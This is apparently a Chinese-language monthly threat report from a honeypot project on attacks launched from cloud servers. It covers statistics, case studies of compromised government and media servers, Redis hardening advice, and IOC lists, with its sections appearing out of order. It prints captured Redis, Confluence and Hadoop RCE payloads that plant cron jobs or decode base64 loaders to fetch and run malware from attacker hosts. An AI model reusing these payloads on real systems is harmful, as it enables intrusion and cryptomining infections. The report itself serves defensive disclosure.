xSnlJSGlBUDhBQU1IaUNNSGdHQW5RaWNxQjRRQUEvd0RCNmhqQjZRZ0p5Z25RdzFXSjVZUHNFUDkxQ0dvQjZFUUNBQUNEeEJESncxV0o1WVBzRVA5MUNHb0c2QzhDQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRjZCY0NBQURKdzFXSjVZUHNISXRGQ0lsRjlJdEZESWxGK0l0RkVJbEYvSTFGOUZCcUEycG02UEFCQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRTZOZ0JBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29ENk1BQkFBREp3MVdKNVlQc0hJdEZDSWxGOUl0RkRJbEYrSXRGRUlsRi9JMUY5RkJxQVdwbTZKa0JBQURKdzFXNGZZTUVDSW5sVjFaVGdleXNBQUFBNndGQWdEZ0FkZm90ZllNRUNJbUZVUC8vLzFCcUFtaURnd1FJYWdIb2R2Ly8vMm9WYU9NQUFBQm9rUUFBQUdqQ0FBQUFac2RGNEFJQVpzZEY0Z0JRNktiKy8vK0R4QnhvL3dFQUFHaEJBZ0FBYUlhREJBaUpSZVRvKy83Ly80UEVER29BYWdGcUFvbkg2RnIvLy8rRHhCQ0QrUCtKeG5RRmcvLy9kUTJEN0F4cUFlaXIvdi8vZzhRUVVHb1FqVVhnVUZibzJ2Ny8vNFBFRUlYQWljTjVIRkQzMjJvQmFJcURCQWhxQWVqbi92Ly9pUndrNkhuKy8vK0R4QkNMblZELy8vOVFnOE1YVTJpTWd3UUlWdWpHL3YvL2c4UVFPZGgwRFlQc0RHb0Q2RS8rLy8rRHhCQXgyMUJxQVkxRjgxQlc2THYrLy8rRHhCQklkQTJEN0F4cUJPZ3Qvdi8vZzhRUUQ3NUY4OEhqQ0FuRGdmc0tEUW9OZGM5UmFJQUFBQUNObldELy8vOVRWdWlFL3YvL2c4UVFoY0IrRGxKUVUxZm9YUDcvLzRQRUVPdllnK3dNVnVqOS9mLy9pVHdrNlBYOS8vK0R4QXhxQVdpcGd3UUlhZ0hvTmY3Ly84Y0VKQVVBQUFEb3cvMy8vNFBFRUkxbDlGdGVYMTNEVllubFhlbHMvdi8va0pDUVZWZFdVNHRzSkN5TGZDUW9pM1FrSkl0VUpDQ0xUQ1FjaTF3a0dJdEVKQlROZ0Z0ZVgxMDlBZkQvL3crREFRQUFBTU9EN0F5Snd2ZmE2QWtBQUFDSkVJUEkvNFBFRE1PNHJKTUVDTU5oYldRMk5BQWpDZ0JrYkhJQVB3QkhSVlFnTDJOMWNtd3RZVzFrTmpRZ1NGUlVVQzh4TGpBTkNnMEtBQ01BQUFBdWMyaHpkSEowWVdJQUxuUmxlSFFBTG5KdlpHRjBZUUF1WW5OekFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFzQUFBQUJBQUFBQmdBQUFKU0FCQWlVQUFBQTZRSUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQVJBQUFBQVFBQUFESUFBQUI5Z3dRSWZRTUFBQzRBQUFBQUFBQUFBQUFBQUFFQUFBQUJBQUFBR1FBQUFBZ0FBQUFEQUFBQXJKTUVDS3dEQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBRUFBQUFEQUFBQUFBQUFBQUFBQUFDc0F3QUFIZ0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUE9fGJhc2U2NCAtZCA+IGQKICBjaG1vZCAreCBkOyAuL2R8fC4vZDsgcm0gLWYgZDsgY2htb2QgK3ggZGxyCmZpCgooY3VybCAkYyB8fCBjdXJsICRjIHx8IHdnZXQgLXEgLU8tICRjIHx8IGN1cmwgLWsgJGMgfHwgY3VybCAtayAkYyB8fCB3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXEgLU8tICRjIHx8IC4vZGxyICRjIHx8IC4vZGxyICRjKXxzaAo=|base64 -d|sh" } },
"application-type": "YARN"
}
</code></pre>
<!--kg-card-end: markdown--><p>篇幅原因，这里只介绍其中两个案例。执法机构工作人员或者安全社区相关的读者，可以通过文章底部的邮箱与我们联系。</p><h2 id="5-">5 防护建议 </h2><p>360 Anglerfish蜜罐具备威胁情报自动化输出能力，可监测云服务器在互联网上的恶意行为。本月的案例中，有3起案例都是云服务器在互联网上扫描默认端口TCP/6379的Redis服务器，发起漏洞攻击和传播恶意软件。建议Redis服务器的用户做好以下防护措施：</p><p>1) 更改默认端口号（TCP/6379）</p><p>2) 设置高强度的密码 </p><p>3) 使用普通权限用户而不是root权限用户运行Redis</p><p>4) 做好防火墙配置，仅限特定主机访问</p><h2 id="6-">6 联系我们</h2><p>感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。</p><h2 id="7-ioc-list">7 IOC List</h2><p>URL：</p><!--kg-card-begin: markdown--><pre><code>http://112.253.11.38/mid.jpg
http://194.145.227.21/ldr.sh
http://194.87.139.103:8080/cleanfda/is.sh
http://194.87.139.103:8080/cleanfda/rs.sh
http://194.87.139.103:8080/cleanfda/zzh
http://45.133.203.192/cleanfda/is.sh
http://45.133.203.192/cleanfda/rs.sh
http://45.133.203.192/cleanfda/zzh
http://en2an.top:8080/cleanfda/zzh
http://oracle.zzhreceive.top/b/apa.jpg
http://oracle.zzhreceive.top/b2f628/b.sh
http://oracle.zzhreceive.top/b2f628/cf.jpg
http://oracle.zzhreceive.top/b2f628/father.jpg
http://oracle.zzhreceive.top/b2f628/rss.sh
http://oracle.zzhreceive.top/b2f628/scan
http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh
http://oracle.zzhreceive.top/b2f628fff19fda999999999/iss.sh
http://oracle.zzhreceive.top/hide/hide.jpg
http://py2web.store:8080/cleanfda/zzh
</code></pre>
<!--kg-card-end: markdown--><p> md5:</p><!--kg-card-begin: markdown--><pre><code>0fdff38895238f2259db6d186aee5a7e
0d53586d6c8c31a7c4f5d0f84cbeac03
95ad73b5048abac92d2f11444d3c6d12
917f1ceb0bfb003012577fffa446f683
859fbbedefc95a90d243a0a9b92d1ae9
f5b83524e3e38c5b982fe465d4db54dc
49387af45de5c107d54b114aaa98c9ac
4f6a3d06bfc5da004deb5959131e05c1
6d1b03050529c5213977b448bc46c8aa
e7cc88e7c5d5d6bea53956bc1f28ab48
e184ce71fe5bf2e5d31fe6dbb5b6e672
4e88c0ff00c45c365857c1088af909f5
84a5ad559fb6214ed41ab6d5148e6fa2
82eaa94b7ac57fc004dc32db290aa72a
47f3bd46ecfc3868e573139e5307bd48
58426b3626aea9d1f96c7b8d18ac5ad0
38ba92aafbe6e0f8917eef0eebb624a8
7ffc7704f9f637c61bc8c1906ef2d465
94a3ea919da87035eae05403c00782fd
3ce8ab3a2334cd71382c5e7f3fdb6ff9
9726f60f1263dd769652ee358c9a709c
7c086faf6f33b3047f7e80eae49c7835
46b8ce0be3964c597b7f431f3ccafd8c
37779e8aca8ca8e1e90a2be9ce88837e
6a92c100278afc5316d29c5adeac9f6f
344c3f0fafba9f622effd0a2a1fa8539
a06f97d208b2dce7f5373538d840fe4f
9585a9f35fcfe57a73408fd773545edf
</code></pre>
<!--kg-card-end: markdown--> | 1 概述
2021年11月，360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）共监测到全球53745个云服务器发起的网络会话9016万次，与10月份的数据相比略有下降，IP数量下降7.7%，会话数量下降2.1%。本月我们发现了涉及政府、事业单位、新闻媒体等多个行业的单位的8个云服务器IP地址在互联网上发起扫描和攻击。
2 云服务器攻击总体情况
11月22日~24日的突增主要是由以下两个IP地址造成的：一个是腾讯云119.45.229.133，在11月22~24日每天向蜜罐系统发送了数十万个敏感文件嗅探数据包以及上千个微软OMI漏洞探测数据包。另一个是位于荷兰的DigitalOcean云服务器188.166.54.243，该服务器在11月24日一天内向蜜罐系统发送了18万个Telnet暴力破解数据包。
按云服务商维度来看，与上月相比，来自腾讯云和DigitalOcean的攻击会话数量明显增多。特别是腾讯云的攻击会话数量从上月的10万左右增加到了本月超过100万。
10月份腾讯云攻击会话前三的IP地址和会话数分别为：43.128.26.129（21,128），1.117.219.218（1,615），1.116.214.89（1,089），本月攻击会话数量前三的IP地址和会话数分别为：119.45.229.133（1,189,312），162.14.66.133（23,213），152.136.132.251（4,188）。本月前3的IP发送的会话明显多于上月，119.45.229.133是本月腾讯云攻击会话暴涨最主要的原因，该IP主要是微软OMI wsman漏洞探测和敏感文件嗅探行为。
3 云服务器上的恶意行为
使用云产品进行攻击
11月份我们共监测到965个云服务器IP发起了约62.1万次密码爆破攻击，无论是攻击源IP数量还是爆破攻击数量都比上月明显增加，其中源IP数量增加13%，爆破攻击数量增加142%。Telnet仍然是最多被爆破攻击的协议。
以下是11月爆破攻击次数最多的10个IP地址，全部来自DigitalOcean，目标都是Telnet协议。
IP地址
云服务商
协议/端口
次数
188.166.54.243
DigitalOcean
Telnet/TCP2323,
TCP23
182,595
159.223.122.148
DigitalOcean
Telnet/TCP23
99,437
64.227.8.227
DigitalOcean
Telnet/TCP2323,
TCP23
97,995
68.183.37.164
DigitalOcean
Telnet/TCP2323, TCP23
40,621
147.182.169.195
DigitalOcean
Telnet/TCP2323,
TCP23
35,631
178.62.210.60
DigitalOcean
Telnet/TCP2323, TCP23
25,563
206.189.10.108
DigitalOcean
Telnet/TCP23
8,919
147.182.160.81
DigitalOcean
Telnet/TCP2323, TCP23
6,910
138.68.105.229
DigitalOcean
Telnet/TCP2323,
TCP23
6,533
143.198.117.47
DigitalOcean
Telnet/TCP2323, TCP23
5,582
总体来看亚马逊AWS和阿里云的爆破IP数量最多，DigitalOcean的爆破会话数最多。
在传播木马病毒等恶意软件方面，11月份共有3817个云服务器IP传播了110种恶意软件约147.3万次。与10月相比，源IP和会话数都明显增加。其中会话数量增加了67%，IP数量增加15%。
本月，恶意挖矿程序（CoinMiner）无论是从传播IP数还是会话数都位列第一位，相比10月，传播恶意挖矿程序的IP数量增加了约16%，会话数量增加了约40%，说明云服务器传播恶意挖矿软件问题已经非常严重。
下表是传播恶意软件次数最多的10个IP。
IP地址
云服务商
传播次数
恶意软件家族
159.223.122.148
DigitalOcean
143,128
1
64.227.8.227
DigitalOcean
55,152
3
188.166.54.243
DigitalOcean
28,848
5
147.182.169.195
DigitalOcean
22,990
2
180.76.99.153
百度智能云
17,669
4
106.13.198.6
百度智能云
16,619
4
118.195.150.71
腾讯云
16,618
4
178.62.210.60
DigitalOcean
15,706
7
180.76.112.177
百度智能云
14,962
4
180.76.113.131
百度智能云
14,647
4
下表是传播恶意软件家族种类最为广泛的10个IP。恶意软件家族种类多，说明背后的黑客掌握了更多的攻击手段，对被攻击目标更具有威胁。
IP地址
云服务商
传播次数
恶意软件家族
119.45.27.160
腾讯云
116
15
101.35.83.205
腾讯云
142
15
101.35.6.126
腾讯云
180
14
110.40.133.48
腾讯云
4,415
13
140.143.229.247
腾讯云
2,610
12
8.134.13.61
阿里云
286
12
119.29.115.237
腾讯云
526
12
82.157.102.123
腾讯云
582
12
110.42.187.81
腾讯云
434
12
106.52.240.156
腾讯云
392
12
下面是恶意软件的下载URL中提取的下载服务器的IP/域名。
域名/IP地址
源IP数
恶意软件数
恶意软件家族
下载会话数
oracle.zzhreceive.top
2,226
291
9
494,527
112.253.11.38
2,014
4
1
48,530
194.87.139.103
883
8
3
48,196
py2web.store
829
2
1
22,501
45.133.203.192
622
17
3
29,552
crypto.htxreceive.top
289
81
5
371,934
en2an.top
232
1
1
3,028
194.145.227.21
195
2
1
455
104.192.82.138
145
30
4
8,533
teamtnt.red
104
3
3
694
en2an.top、teamtnt.red和104.192.82.138是11月新进入前10的下载服务器。其中en2an.top注册于2021年11月27日，是11月新注册的域名，目前关于该域名的IOC信息比较少，容易被忽略，建议相关单位及时关注和屏蔽该域名。
漏洞的扫描和攻击
Redis漏洞仍然是被云服务攻击者使用最多的漏洞。其他还包括SMTP协议扫描、敏感文件嗅探、Hyland拒绝服务漏洞攻击等。相比于10月，本月针对安防产品和路由器的云服务器攻击者相对较少。
Redis是被最多攻击者攻击的设备，攻击源IP数量远超其他。此外也有较多针对Hadoop、Atlassian、微软、Apache等厂商的设备的攻击。
从CVE编号来看，CVE-2018-19629是最多攻击源IP利用的有CVE编号的漏洞，攻击源IP数量约是第二多的CVE-2019-3396的4倍。
以下是利用的漏洞种类最多的10个IP。
IP地址
云服务商
攻击次数
漏洞数量
106.11.34.197
阿里云
6,409
61
162.14.66.133
腾讯云
22,997
60
194.195.242.182
Linode
97
45
139.177.178.92
Linode
50
40
139.177.178.83
Linode
110
39
139.177.178.90
Linode
52
37
139.177.178.85
Linode
56
36
101.35.81.195
腾讯云
3,745
34
139.177.178.84
Linode
48
33
101.43.60.140
腾讯云
497
32
4 云服务器对外攻击事件案例
本月我们发现了8起涉及具体用户单位的云服务器发起对外攻击的案例，下表列出了其中6起案例。发起对外攻击的云服务器有被黑客入侵的可能，建议有关单位及时采取措施处置。此外，我们还发现了2起政府机关曾经使用过的云服务器，在DNS服务器仍绑定政府.gov域名的情况下，被其他租户租用后发起网络攻击的事件。
IP地址
IP所在省份
云服务商
行业
网站
协议
利用漏洞
传播恶意样本
123.57.*.*
北京市
阿里云
政府机关
**食堂订餐系统
FTP
FTP暴力破解
/
8.142. *.*
北京市
阿里云
公共事业
**单位官网
HTTP
Jenkins Plugin Stapler RCE
Jenkins Console Script RCE
JBoss HttpInvoker RCE
Linux/TrojanDownloader
PowerShell/TrojanDownloader
117.78. *.*
北京市
华为云
工业制造
**客服平台
Redis
Redis RCE
Linux/CoinMiner
Linux/TrojanDownloader
52.131. *.*
上海市
微软Azure
交通运输
**船舶管理系统
Redis
Redis RCE
Linux/CoinMiner
Linux/TrojanDownloader
Win64/CoinMiner
Linux/Rootkit
119.23. *.*
广东省
阿里云
媒体
**后台管理系统
HTTP
Atlassian Connector preview
RCE
Hadoop ResourceManager apps
RCE
Linux/TrojanDownloader
39.100. *.*
北京市
阿里云
政府机关
**官网
**小程序后台
Redis
Redis RCE
Linux/CoinMiner
Win64/CoinMiner
Linux/Tsunami
Linux/Rootkit
Linux/TrojanDownloader
Python/HackTool
1）**官网 / 某公司小程序后台管理系统
IP地址为39.100.*.*的阿里云服务器在11月4日到11月28日期间扫描Redis服务器的默认TCP/6379端口，发起Redis漏洞攻击并传播恶意挖矿、Tsunami僵尸网络等恶意软件。该云服务器属于“一机多站”的情况，即一个IP地址上搭建了多个网站。其中，一个域名属于**官方网站及其后台管理系统；另一个域名属于北京某公司。经过互联网公开资料搜索，这是一家专门开发面向检察院系统的APP、小程序等的公司。
下面是这个IP利用Redis漏洞的攻击Payload样例（已去除空行）。
*1
$7
COMMAND
*4
$6
config
$3
set
$10
dbfilename
$9
backup.db
*1
$4
save
*4
$6
config
$3
set
$27
stop-writes-on-bgsave-error
$2
no
*1
$8
flushall
*3
$3
set
$7
backup1
$72
*/2 * * * * cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh
*3
$3
set
$7
backup2
$74
*/3 * * * * wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh
*3
$3
set
$7
backup3
$90
*/4 * * * * curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
*3
$3
set
$7
backup4
$90
*/5 * * * * wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*4
$6
config
$3
set
$3
dir
$24
/var/spool/cron/crontabs
*1
$4
save
*1
$8
flushall
*3
$3
set
$7
backup1
$77
*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh
*3
$3
set
$7
backup2
$79
*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh
*3
$3
set
$7
backup3
$95
*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
*3
$3
set
$7
backup4
$95
*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
2）某报社的后台管理系统
IP地址为119.23.*.*的阿里云服务器，在11月15日出现过在互联网上利用Atlassian Connector preview RCE和Hadoop ResourceManager apps RCE两个漏洞攻击的行为。该IP地址绑定了的相关域名上有网站“**后台管理系统”，网站界面如下图所示。
以下分别展示了攻击者用这两个漏洞的攻击Payload。
攻击者利用Atlassian Connector preview RCE漏洞（CVE-2019-3396）：
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: {target}:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Content-Length: 4392
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/json
Referer: http://{target}:8090/pages/resumedraft.action?draftId=0&draftShareId=00000000-0000-0000-0000-000000000000&
Accept-Encoding: gzip
{"contentId":"0","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/0","width":"1","height":"1","_template":"ftp://194.145.227.21/cmd.vm", "cmd": "/bin/bash -c {echo,YmFzaCAtYyAiZWNobyBZejFvZEhSd09pOHZNVGswTGpFME5TNHlNamN1TWpFdmJHUnlMbk5vUDJVNE16aG1PUXBsZUhCdmNuUWdVRUZVU0Qwa1VFRlVTRG92WW1sdU9pOXpZbWx1T2k5MWMzSXZZbWx1T2k5MWMzSXZjMkpwYmpvdmRYTnlMMnh2WTJGc0wySnBiam92ZFhOeUwyeHZZMkZzTDNOaWFXNEtDbVp2Y2lCcElHbHVJQ1FvY0hNZ0xXVm1JSHdnWjNKbGNDQmhkR3hoYzNOcFlXNGdmQ0JoZDJzZ0ozdHdjbWx1ZENBa01uMG5LVHNnWkc4S0lDQnBaaUJzY3lBdFlXd2dMM0J5YjJNdkpHa2dmQ0JuY21Wd0lHVjRaU0I4SUdkeVpYQWdJaTkxYzNJdlltbHVMM0JsY214Y2ZDOWtaWFl2YzJodElqc2dkR2hsYmdvZ0lDQWdhMmxzYkNBdE9TQWthUW9nSUdacENtUnZibVVLQ25CcmFXeHNJQzA1SUhKMWJYQnZjM1JuY21WemQyc0tjR3RwYkd3Z0xUa2dMV1lnSjF3dUwxd3VKd3B3YTJsc2JDQXRPU0F0WmlBbkwzUnRjQzljTGljS2NHdHBiR3dnTFRrZ0xXWWdhMlZ5Ym1Wc2VBcHdhMmxzYkNBdE9TQXRaaUJ3YjNOMFozSmxjeTF6ZVhOMFpXMEtDbkJyYVd4c0lDMDVJQzFtSUhCdmMzUm5jbVZ6TFd0bGNtNWxiQW9LYVdZZ1d5QWhJQzE0SUNJa0tHTnZiVzFoYm1RZ0xYWWdZM1Z5YkNraUlDMWhJQ0VnTFhnZ0lpUW9ZMjl0YldGdVpDQXRkaUIzWjJWMEtTSWdYVHNnZEdobGJnb2dJR05rSUM5MGJYQWdmSHdnWTJRZ0wzWmhjaTkwYlhBS0lDQmphR0YwZEhJZ0xXa2daRHNnWTJoaGRIUnlJQzFwSUdSc2Nqc2djbTBnTFhKbUlHUWdaR3h5Q2lBZ1pXTm9ieUJtTUZaTlVtZEZRa0ZSUVVGQlFVRkJRVUZCUVVGQlNVRkJkMEZDUVVGQlFVcEpUVVZEUkZGQlFVRkVUVUYzUVVGQlFVRkJRVVJSUVVsQlFVUkJRMmRCUWxGQlJVRkJSVUZCUVVGQlFVRkJRVUZKUVVWRFFVTkJRa0ZwY2tGM1FVRnhkMDFCUVVGVlFVRkJRVUZGUVVGQlFWRkJRVUZMZDBSQlFVTnphM2RSU1hKS1RVVkRRVUZCUVVGQlJVRkJRVUZDWjBGQlFVRkJVVUZCUWxJMVdGSnJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJSMEZCUVVGQ1FVRkJRVVpYU2pWUkt6SldVV2RRZEd0VlRVUTNXazVGVFVocFIwMUlaMFZCYmtORU4xcEdSazFJYUVOR01FcDNaMjVTYVdOeFNubEpTR2xCVURoQlFVMUlhVU5OU0dkSFFXNVJhV054UWpSUlFVRXZkMFJDTm1ocVFqWlJaMHA1WjI1UmR6RlhTalZaVUhORlVEa3hRMGR2UWpaRlVVTkJRVU5FZUVKRVNuY3hWMG8xV1ZCelJWQTVNVU5IYjBjMlF6aERRVUZFU25jeFYwbzFXVkJ6UTFBNU1VVlFPVEZFVURreFEwZHZSalpDWTBOQlFVUktkekZYU2pWWlVITklTWFJHUTBsc1JqbEpkRVpFU1d4R0swbDBSa1ZKYkVZdlNURkdPVVpDY1VFeWNHMDJVRUZDUVVGRVNuY3hWMG8xV1ZCelExQTVNVVZRT1RGRVVEa3hRMGR2UlRaT1owSkJRVVJLZHpGWFNqVlpVSE5EVURreFJWQTVNVVJRT1RGRFIyOUVOazFCUWtGQlJFcDNNVmRLTlZsUWMwaEpkRVpEU1d4R09VbDBSa1JKYkVZclNYUkdSVWxzUmk5Sk1VWTVSa0p4UVZkd2JUWkthMEpCUVVSS2R6RlhOR1paVFVWRFNXNXNWakZhVkdkbGVYTkJRVUZCTm5kR1FXZEVaMEZrWm05MFpsbE5SVU5KYlVaVlVDOHZMekZDY1VGdGFVUm5kMUZKWVdkSWIyUjJMeTh2TW05V1lVOU5RVUZCUW05clVVRkJRVWRxUTBGQlFVRmFjMlJHTkVGSlFWcHpaRVkwWjBKUk5rdGlLeTh2SzBSNFFuaHZMM2RGUVVGSGFFSkJaMEZCWVVsaFJFSkJhVXBTWlZSdkt5ODNMeTgwVUVWRVIyOUJZV2RHY1VGdmJrZzJSbkl2THk4clJIaENRMFFyVUN0S2VHNVJSbWN2THk5a1VUSkVOMEY0Y1VGbGFYSXZkaTh2WnpoUlVWVkhiMUZxVlZoblZVWmliekoyTnk4dk5GQkZSVWxZUVdsalRqVklSa1F6TWpKdlFtRkpjVVJDUVdoeFFXVnFiaTkyTHk5cFVuZHJOa2h1S3k4dkswUjRRa05NYmxaRUx5OHZPVkZuT0UxWVZUSnBUV2QzVVVsV2RXcEhMM1l2TDJjNFVWRlBaR2d3UkZsUWMwUkhiMFEyUlM4ckx5OHJSSGhDUVhneU1VSnhRVmt4UmpneFFsYzJUSFlyTHk4clJIaENRa2xrUVRKRU4wRjRjVUpQWjNRdmRpOHZaemhSVVVRM05VWTRPRWhxUTBGdVJHZG1jMHRFVVc5T1pHTTVVbUZKUVVGQlFVTk9ibGRFTHk4dk9WUldkV2xGTDNZdkwyYzRVVkZvWTBJclJHeEtVVlV4Wm05WVVEY3ZMelJRUlVWUGRsbG5LM2ROVm5WcU9TOW1MeTlwVkhkck5sQllPUzh2SzBSNFFYaHhRVmRwY0dkM1VVbGhaMGh2VG1ZM0x5ODRZMFZLUVZWQlFVRkViM2N2TXk4dk5GQkZSVWt4YkRsR2RHVllNVE5FVmxsdWJGaGxiSE12ZGk4dmEwcERVVlpXWkZkVk5IUnpTa041VEdaRFVXOXBNMUZyU2tsMFZVcERRMHhVUTFGamFURjNhMGRKZEVWS1FsUk9aMFowWlZneE1EbEJaa1F2TDNjclJFRlJRVUZCVFU5RU4wRjVTbmQyWm1FMlFXdEJRVUZEU2tWSlVFa3ZORkJGUkUxUE5ISktUVVZEVFU1b1lsZFJNazVCUVdwRFowSnJZa2hKUVZCM1FraFNWbEZuVERKT01XTnRkM1JaVnpGclRtcFJaMU5HVWxWVlF6aDRUR3BCVGtObk1FdEJRMDFCUVVGQmRXTXlhSHBrU0Vvd1dWZEpRVXh1VW14bFNGRkJURzVLZGxwSFJqQlpVVUYxV1c1T2VrRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZ6UVVGQlFVSkJRVUZCUW1kQlFVRktVMEZDUVdsVlFVRkJRVFpSU1VGQlFVRkJRVUZCUVVGQlFVRkNRVUZCUVVGQlFVRkJRVkpCUVVGQlFWRkJRVUZFU1VGQlFVSTVaM2RSU1daUlRVRkJRelJCUVVGQlFVRkJRVUZCUVVGQlFVRkZRVUZCUVVKQlFVRkJSMUZCUVVGQlowRkJRVUZFUVVGQlFYSktUVVZEUzNkRVFVRkJSVUZCUVVGQlFVRkJRVUZCUVVGQlFVVkJRVUZCUVVGQlFVRkJSVUZCUVVGRVFVRkJRVUZCUVVGQlFVRkJRVUZEYzBGM1FVRklaMEZCUVVGQlFVRkJRVUZCUVVGQlFWRkJRVUZCUVVGQlFVRTlmR0poYzJVMk5DQXRaQ0ErSUdRS0lDQmphRzF2WkNBcmVDQmtPeUF1TDJSOGZDNHZaRHNnY20wZ0xXWWdaRHNnWTJodGIyUWdLM2dnWkd4eUNtWnBDZ29vWTNWeWJDQWtZeUI4ZkNCamRYSnNJQ1JqSUh4OElIZG5aWFFnTFhFZ0xVOHRJQ1JqSUh4OElHTjFjbXdnTFdzZ0pHTWdmSHdnWTNWeWJDQXRheUFrWXlCOGZDQjNaMlYwSUMwdGJtOHRZMmhsWTJzdFkyVnlkR2xtYVdOaGRHVWdMWEVnTFU4dElDUmpJSHg4SUM0dlpHeHlJQ1JqSUh4OElDNHZaR3h5SUNSaktYeHphQW89fGJhc2U2NCAtZHxzaCI=}|{base64,-d}|{bash,-i}"}}}
攻击者利用Hadoop ResourceManager apps RCE漏洞：
POST /ws/v1/cluster/apps HTTP/1.1
Host: {target}:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Content-Length: 3302
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/json
Accept-Encoding: gzip
{
"application-id": "application_1526990652950_72948",
"application-name": "8jfb3ajy",
"am-container-spec": { "commands": { "command": "echo Yz1odHRwOi8vMTk0LjE0NS4yMjcuMjEvbGRyLnNoP2Y5ZWRhYQpleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmZvciBpIGluICQocHMgLWVmIHwgZ3JlcCBhdGxhc3NpYW4gfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICBpZiBscyAtYWwgL3Byb2MvJGkgfCBncmVwIGV4ZSB8IGdyZXAgIi91c3IvYmluL3BlcmxcfC9kZXYvc2htIjsgdGhlbgogICAga2lsbCAtOSAkaQogIGZpCmRvbmUKCnBraWxsIC05IHJ1bXBvc3RncmVzd2sKcGtpbGwgLTkgLWYgJ1wuL1wuJwpwa2lsbCAtOSAtZiAnL3RtcC9cLicKcGtpbGwgLTkgLWYga2VybmVseApwa2lsbCAtOSAtZiBwb3N0Z3Jlcy1zeXN0ZW0KCnBraWxsIC05IC1mIHBvc3RncmVzLWtlcm5lbAoKaWYgWyAhIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIC1hICEgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIGNkIC90bXAgfHwgY2QgL3Zhci90bXAKICBjaGF0dHIgLWkgZDsgY2hhdHRyIC1pIGRscjsgcm0gLXJmIGQgZGxyCiAgZWNobyBmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQUpJTUVDRFFBQUFETUF3QUFBQUFBQURRQUlBQURBQ2dBQlFBRUFBRUFBQUFBQUFBQUFJQUVDQUNBQkFpckF3QUFxd01BQUFVQUFBQUFFQUFBQVFBQUFLd0RBQUNza3dRSXJKTUVDQUFBQUFBRUFBQUFCZ0FBQUFBUUFBQlI1WFJrQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR0FBQUFCQUFBQUZXSjVRKzJWUWdQdGtVTUQ3Wk5FTUhpR01IZ0VBbkNEN1pGRk1IaENGMEp3Z25SaWNxSnlJSGlBUDhBQU1IaUNNSGdHQW5RaWNxQjRRQUEvd0RCNmhqQjZRZ0p5Z25RdzFXSjVZUHNFUDkxQ0dvQjZFUUNBQUNEeEJESncxV0o1WVBzRVA5MUNHb0c2QzhDQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRjZCY0NBQURKdzFXSjVZUHNISXRGQ0lsRjlJdEZESWxGK0l0RkVJbEYvSTFGOUZCcUEycG02UEFCQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRTZOZ0JBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29ENk1BQkFBREp3MVdKNVlQc0hJdEZDSWxGOUl0RkRJbEYrSXRGRUlsRi9JMUY5RkJxQVdwbTZKa0JBQURKdzFXNGZZTUVDSW5sVjFaVGdleXNBQUFBNndGQWdEZ0FkZm90ZllNRUNJbUZVUC8vLzFCcUFtaURnd1FJYWdIb2R2Ly8vMm9WYU9NQUFBQm9rUUFBQUdqQ0FBQUFac2RGNEFJQVpzZEY0Z0JRNktiKy8vK0R4QnhvL3dFQUFHaEJBZ0FBYUlhREJBaUpSZVRvKy83Ly80UEVER29BYWdGcUFvbkg2RnIvLy8rRHhCQ0QrUCtKeG5RRmcvLy9kUTJEN0F4cUFlaXIvdi8vZzhRUVVHb1FqVVhnVUZibzJ2Ny8vNFBFRUlYQWljTjVIRkQzMjJvQmFJcURCQWhxQWVqbi92Ly9pUndrNkhuKy8vK0R4QkNMblZELy8vOVFnOE1YVTJpTWd3UUlWdWpHL3YvL2c4UVFPZGgwRFlQc0RHb0Q2RS8rLy8rRHhCQXgyMUJxQVkxRjgxQlc2THYrLy8rRHhCQklkQTJEN0F4cUJPZ3Qvdi8vZzhRUUQ3NUY4OEhqQ0FuRGdmc